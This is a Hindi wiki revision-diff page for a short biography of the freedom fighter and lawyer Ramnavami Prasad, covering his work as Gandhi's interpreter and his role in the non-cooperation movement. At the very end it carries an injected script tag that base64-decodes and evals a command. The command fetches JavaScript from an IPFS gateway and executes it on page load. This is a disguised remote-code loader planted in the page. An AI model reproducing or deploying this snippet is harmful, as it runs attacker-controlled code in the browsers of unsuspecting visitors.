"प्रयोग:दिनेश" के अवतरणों में अंतर
पंक्ति 1: | पंक्ति 1: | ||
− | '''रामनवमी प्रसाद''' (जन्म- [[17 मार्च]], [[1891]], [[मुजफ्फरपुर]], [[बिहार]]) | + | '''रामनवमी प्रसाद''' (जन्म- [[17 मार्च]], [[1891]], [[मुजफ्फरपुर ज़िला|मुजफ्फरपुर]], [[बिहार]]) जाति-भेद के विरोधी और महिला शिक्षा के प्रबल समर्थक थे। क़ानून की शिक्षा प्राप्त करने के बाद मुजफ्फरपुर में वकालत के साथ-साथ वे सार्वजनिक जीवन में भी भाग लेने लगे थे। |
==परिचय== | ==परिचय== | ||
− | रामनवमी प्रसाद का जन्म 17 मार्च 1891 ईस्वी को बिहार के मुजफ्फरपुर | + | रामनवमी प्रसाद का जन्म 17 मार्च, 1891 ईस्वी को बिहार के मुजफ्फरपुर ज़िले में हुआ था। पेशे से वकील रामनवमी [[गांधी जी]] से प्रभावित थे और [[अप्रैल]], [[1917]] में जब गांधी जी मुजफ्फरपुर पहुंचे तो रामनवमी उनके साथ हो गए। उन्होंने गांधी जी के लिए दुभाषिए का काम किया, क्योंकि गांधी जी बिहार के किसानों की बोली नहीं समझते थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=733|url=}}</ref> |
− | ==स्वतंत्रता आंदोलन== | + | ==स्वतंत्रता आंदोलन में भाग== |
− | रामनवमी प्रसाद ने वकालत छोड़ कर असहयोग आंदोलन में भाग लिया। [[1910]] से [[कांग्रेस]] के वार्षिक अधिवेशनों में भाग लेने की शुरुआत की थी। वे | + | रामनवमी प्रसाद ने वकालत छोड़ कर [[असहयोग आंदोलन]] में भाग लिया। उन्होंने [[1910]] से [[कांग्रेस]] के वार्षिक अधिवेशनों में भाग लेने की शुरुआत की थी। वे दयालबाग़ के राधा स्वामी संप्रदाय के अनुयाई थे। लखनऊ अधिवेशन में राजकुमार शुक्ल के साथ रामनवमी प्रसाद ने भी [[गांधी जी]] से चंपारण चलने का आग्रह किया था। |
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतंत्रता सेनानी}} | {{स्वतंत्रता सेनानी}} | ||
− | [[Category:स्वतन्त्रता सेनानी]][[Category:अधिवक्ता]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:भारतीय चरित कोश]] | + | [[Category:स्वतन्त्रता सेनानी]][[Category:अधिवक्ता]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:भारतीय चरित कोश]][[Category:अंग्रेज़ी शासन]][[Category:औपनिवेशिक काल]] |
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
11:51, 12 जून 2018 का अवतरण
रामनवमी प्रसाद (जन्म- 17 मार्च, 1891, मुजफ्फरपुर, बिहार) जाति-भेद के विरोधी और महिला शिक्षा के प्रबल समर्थक थे। क़ानून की शिक्षा प्राप्त करने के बाद मुजफ्फरपुर में वकालत के साथ-साथ वे सार्वजनिक जीवन में भी भाग लेने लगे थे।
परिचय
रामनवमी प्रसाद का जन्म 17 मार्च, 1891 ईस्वी को बिहार के मुजफ्फरपुर ज़िले में हुआ था। पेशे से वकील रामनवमी गांधी जी से प्रभावित थे और अप्रैल, 1917 में जब गांधी जी मुजफ्फरपुर पहुंचे तो रामनवमी उनके साथ हो गए। उन्होंने गांधी जी के लिए दुभाषिए का काम किया, क्योंकि गांधी जी बिहार के किसानों की बोली नहीं समझते थे।[1]
स्वतंत्रता आंदोलन में भाग
रामनवमी प्रसाद ने वकालत छोड़ कर असहयोग आंदोलन में भाग लिया। उन्होंने 1910 से कांग्रेस के वार्षिक अधिवेशनों में भाग लेने की शुरुआत की थी। वे दयालबाग़ के राधा स्वामी संप्रदाय के अनुयाई थे। लखनऊ अधिवेशन में राजकुमार शुक्ल के साथ रामनवमी प्रसाद ने भी गांधी जी से चंपारण चलने का आग्रह किया था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 733 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>